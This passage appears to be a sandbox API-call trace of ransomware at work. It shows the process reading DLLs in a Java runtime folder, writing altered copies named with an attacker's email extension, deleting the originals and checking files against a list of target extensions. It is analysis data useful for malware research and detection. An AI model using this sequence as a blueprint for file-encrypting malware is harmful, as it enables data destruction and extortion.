(lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll") returned 51 [0089.400] lstrlenW (lpString=".1cd") returned 4 [0089.400] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0089.400] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll") returned 51 [0089.400] lstrlenW (lpString=".jpg") returned 4 [0089.400] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0089.400] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0089.400] lstrlenW (lpString="dt_socket.dll") returned 13 [0089.400] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_socket.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0089.400] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=24640) returned 1 [0089.400] CloseHandle (hObject=0x374) returned 1 [0089.400] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_socket.dll")) returned 0x20 [0089.400] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_socket.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0089.400] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_socket.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0089.400] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0089.401] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0089.401] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_socket.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0089.401] GetLastError () returned 0x0 [0089.401] ReadFile (in: hFile=0x374, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0x6040, lpOverlapped=0x0) returned 1 [0089.403] WriteFile (in: hFile=0x370, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x6050, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0x6050, lpOverlapped=0x0) returned 1 [0089.404] ReadFile (in: hFile=0x374, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1 [0089.404] WriteFile (in: hFile=0x370, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0xee, lpOverlapped=0x0) returned 1 [0089.404] SetEndOfFile (hFile=0x370) returned 1 [0089.404] CloseHandle (hObject=0x370) returned 1 [0089.404] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0089.404] SetEndOfFile (hFile=0x374) returned 1 [0089.405] CloseHandle (hObject=0x374) returned 1 [0089.405] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0089.405] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_socket.dll")) returned 1 [0089.406] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll") returned 52 [0089.406] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll") returned 52 [0089.406] lstrlenW (lpString=".doc") returned 4 [0089.406] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0089.406] lstrlenW (lpString=".docx") returned 5 [0089.406] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0089.406] lstrlenW (lpString=".pdf") returned 4 [0089.406] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0089.406] lstrlenW (lpString=".xls") returned 4 [0089.406] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0089.406] lstrlenW (lpString=".xlsx") returned 5 [0089.406] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0089.406] lstrlenW (lpString=".ppt") returned 4 [0089.406] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0089.406] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll") returned 52 [0089.406] lstrlenW (lpString=".zip") returned 4 [0089.406] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0089.406] lstrlenW (lpString=".rar") returned 4 [0089.406] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0089.406] lstrlenW (lpString=".bz2") returned 4 [0089.406] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0089.406] lstrlenW (lpString=".7z") returned 3 [0089.406] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0089.406] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll") returned 52 [0089.406] lstrlenW (lpString=".dbf") returned 4 [0089.406] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0089.406] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll") returned 52 [0089.406] lstrlenW (lpString=".1cd") returned 4 [0089.406] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0089.406] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll") returned 52 [0089.406] lstrlenW (lpString=".jpg") returned 4 [0089.406] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0089.406] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll") returned 52 [0089.406] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll") returned 52 [0089.407] lstrlenW (lpString=".doc") returned 4 [0089.407] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0089.407] lstrlenW (lpString=".docx") returned 5 [0089.407] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0089.407] lstrlenW (lpString=".pdf") returned 4 [0089.407] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0089.407] lstrlenW (lpString=".xls") returned 4 [0089.407] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0089.407] lstrlenW (lpString=".xlsx") returned 5 [0089.407] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0089.407] lstrlenW (lpString=".ppt") returned 4 [0089.407] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0089.407] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll") returned 52 [0089.407] lstrlenW (lpString=".zip") returned 4 [0089.407] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0089.407] lstrlenW (lpString=".rar") returned 4 [0089.407] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0089.407] lstrlenW (lpString=".bz2") returned 4 [0089.407] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0089.407] lstrlenW (lpString=".7z") returned 3 [0089.407] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0089.407] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll") returned 52 [0089.407] lstrlenW (lpString=".dbf") returned 4 [0089.407] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0089.407] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll") returned 52 [0089.407] lstrlenW (lpString=".1cd") returned 4 [0089.407] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0089.407] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll") returned 52 [0089.407] lstrlenW (lpString=".jpg") returned 4 [0089.407] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0089.407] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0089.407] lstrlenW (lpString="eula.dll") returned 8 [0089.407] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\eula.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0089.408] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=136256) returned 1 [0089.408] CloseHandle (hObject=0x374) returned 1 [0089.408] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\eula.dll")) returned 0x20 [0089.408] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\eula.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0089.408] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\eula.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0089.408] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0089.408] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0089.408] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\eula.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0089.408] GetLastError () returned 0x0 [0089.408] ReadFile (in: hFile=0x374, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0x21440, lpOverlapped=0x0) returned 1 [0089.412] WriteFile (in: hFile=0x370, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x21450, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0x21450, lpOverlapped=0x0) returned 1 [0089.415] ReadFile (in: hFile=0x374, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1 [0089.415] WriteFile (in: hFile=0x370, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0xe4, lpOverlapped=0x0) returned 1 [0089.415] SetEndOfFile (hFile=0x370) returned 1 [0089.415] CloseHandle (hObject=0x370) returned 1 [0089.415] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0089.415] SetEndOfFile (hFile=0x374) returned 1 [0089.417] CloseHandle (hObject=0x374) returned 1 [0089.417] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0089.417] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\eula.dll")) returned 1 [0089.417] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll") returned 47 [0089.417] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll") returned 47 [0089.417] lstrlenW (lpString=".doc") returned 4 [0089.417] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0089.417] lstrlenW (lpString=".docx") returned 5 [0089.417] lstrcmpiW (lpString1=".docx", lpString2="a.dll") returned -1 [0089.417] lstrlenW (lpString=".pdf") returned 4 [0089.417] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0089.417] lstrlenW (lpString=".xls") returned 4 [0089.417] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0089.418] lstrlenW (lpString=".xlsx") returned 5 [0089.418] lstrcmpiW (lpString1=".xlsx", lpString2="a.dll") returned -1 [0089.418] lstrlenW (lpString=".ppt") returned 4 [0089.418] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0089.418] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll") returned 47 [0089.418] lstrlenW (lpString=".zip") returned 4 [0089.418] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0089.418] lstrlenW (lpString=".rar") returned 4 [0089.418] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0089.418] lstrlenW (lpString=".bz2") returned 4 [0089.418] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0089.418] lstrlenW (lpString=".7z") returned 3 [0089.418] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0089.418] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll") returned 47 [0089.418] lstrlenW (lpString=".dbf") returned 4 [0089.418] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0089.418] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll") returned 47 [0089.418] lstrlenW (lpString=".1cd") returned 4 [0089.418] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0089.418] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll") returned 47 [0089.418] lstrlenW (lpString=".jpg") returned 4 [0089.418] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0089.418] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll") returned 47 [0089.418] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll") returned 47 [0089.418] lstrlenW (lpString=".doc") returned 4 [0089.418] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0089.418] lstrlenW (lpString=".docx") returned 5 [0089.418] lstrcmpiW (lpString1=".docx", lpString2="a.dll") returned -1 [0089.418] lstrlenW (lpString=".pdf") returned 4 [0089.418] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0089.418] lstrlenW (lpString=".xls") returned 4 [0089.418] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0089.418] lstrlenW (lpString=".xlsx") returned 5 [0089.418] lstrcmpiW (lpString1=".xlsx", lpString2="a.dll") returned -1 [0089.418] lstrlenW (lpString=".ppt") returned 4 [0089.418] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0089.418] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll") returned 47 [0089.418] lstrlenW (lpString=".zip") returned 4 [0089.418] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0089.418] lstrlenW (lpString=".rar") returned 4 [0089.418] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0089.419] lstrlenW (lpString=".bz2") returned 4 [0089.419] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0089.419] lstrlenW (lpString=".7z") returned 3 [0089.419] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0089.419] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll") returned 47 [0089.419] lstrlenW (lpString=".dbf") returned 4 [0089.419] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0089.419] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll") returned 47 [0089.419] lstrlenW (lpString=".1cd") returned 4 [0089.419] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0089.419] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll") returned 47 [0089.419] lstrlenW (lpString=".jpg") returned 4 [0089.419] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0089.419] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0089.419] lstrlenW (lpString="fontmanager.dll") returned 15 [0089.419] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fontmanager.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0089.787] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=274496) returned 1 [0089.787] CloseHandle (hObject=0x36c) returned 1 [0089.787] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fontmanager.dll")) returned 0x20 [0089.787] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fontmanager.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0089.787] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fontmanager.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0089.787] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0089.787] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0089.787] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fontmanager.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0089.788] GetLastError () returned 0x0 [0089.788] ReadFile (in: hFile=0x36c, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0x43040, lpOverlapped=0x0) returned 1 [0089.794] WriteFile (in: hFile=0x35c, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x43050, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0x43050, lpOverlapped=0x0) returned 1 [0089.799] ReadFile (in: hFile=0x36c, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1 [0089.799] WriteFile (in: hFile=0x35c, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0xf2, lpOverlapped=0x0) returned 1 [0089.800] SetEndOfFile (hFile=0x35c) returned 1 [0089.800] CloseHandle (hObject=0x35c) returned 1 [0089.800] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0089.800] SetEndOfFile (hFile=0x36c) returned 1 [0089.803] CloseHandle (hObject=0x36c) returned 1 [0089.803] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0089.803] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fontmanager.dll")) returned 1 [0089.804] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll") returned 54 [0089.804] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll") returned 54 [0089.804] lstrlenW (lpString=".doc") returned 4 [0089.804] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0089.804] lstrlenW (lpString=".docx") returned 5 [0089.804] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0089.804] lstrlenW (lpString=".pdf") returned 4 [0089.804] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0089.804] lstrlenW (lpString=".xls") returned 4 [0089.804] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0089.804] lstrlenW (lpString=".xlsx") returned 5 [0089.804] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0089.804] lstrlenW (lpString=".ppt") returned 4 [0089.804] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0089.804] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll") returned 54 [0089.804] lstrlenW (lpString=".zip") returned 4 [0089.804] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0089.804] lstrlenW (lpString=".rar") returned 4 [0089.804] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0089.804] lstrlenW (lpString=".bz2") returned 4 [0089.804] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0089.804] lstrlenW (lpString=".7z") returned 3 [0089.804] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0089.804] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll") returned 54 [0089.804] lstrlenW (lpString=".dbf") returned 4 [0089.804] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0089.804] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll") returned 54 [0089.804] lstrlenW (lpString=".1cd") returned 4 [0089.804] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0089.804] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll") returned 54 [0089.804] lstrlenW (lpString=".jpg") returned 4 [0089.804] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0089.805] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll") returned 54 [0089.805] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll") returned 54 [0089.805] lstrlenW (lpString=".doc") returned 4 [0089.805] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0089.805] lstrlenW (lpString=".docx") returned 5 [0089.805] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0089.805] lstrlenW (lpString=".pdf") returned 4 [0089.805] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0089.805] lstrlenW (lpString=".xls") returned 4 [0089.805] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0089.805] lstrlenW (lpString=".xlsx") returned 5 [0089.805] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0089.805] lstrlenW (lpString=".ppt") returned 4 [0089.805] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0089.805] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll") returned 54 [0089.805] lstrlenW (lpString=".zip") returned 4 [0089.805] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0089.805] lstrlenW (lpString=".rar") returned 4 [0089.805] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0089.805] lstrlenW (lpString=".bz2") returned 4 [0089.805] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0089.805] lstrlenW (lpString=".7z") returned 3 [0089.805] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0089.805] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll") returned 54 [0089.805] lstrlenW (lpString=".dbf") returned 4 [0089.805] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0089.805] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll") returned 54 [0089.805] lstrlenW (lpString=".1cd") returned 4 [0089.805] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0089.805] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll") returned 54 [0089.805] lstrlenW (lpString=".jpg") returned 4 [0089.805] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0089.806] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0089.806] lstrlenW (lpString="fxplugins.dll") returned 13 [0089.806] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fxplugins.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0089.806] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=186944) returned 1 [0089.807] CloseHandle (hObject=0x36c) returned 1 [0089.807] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fxplugins.dll")) returned 0x20 [0089.807] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fxplugins.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0089.807] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fxplugins.dll"), 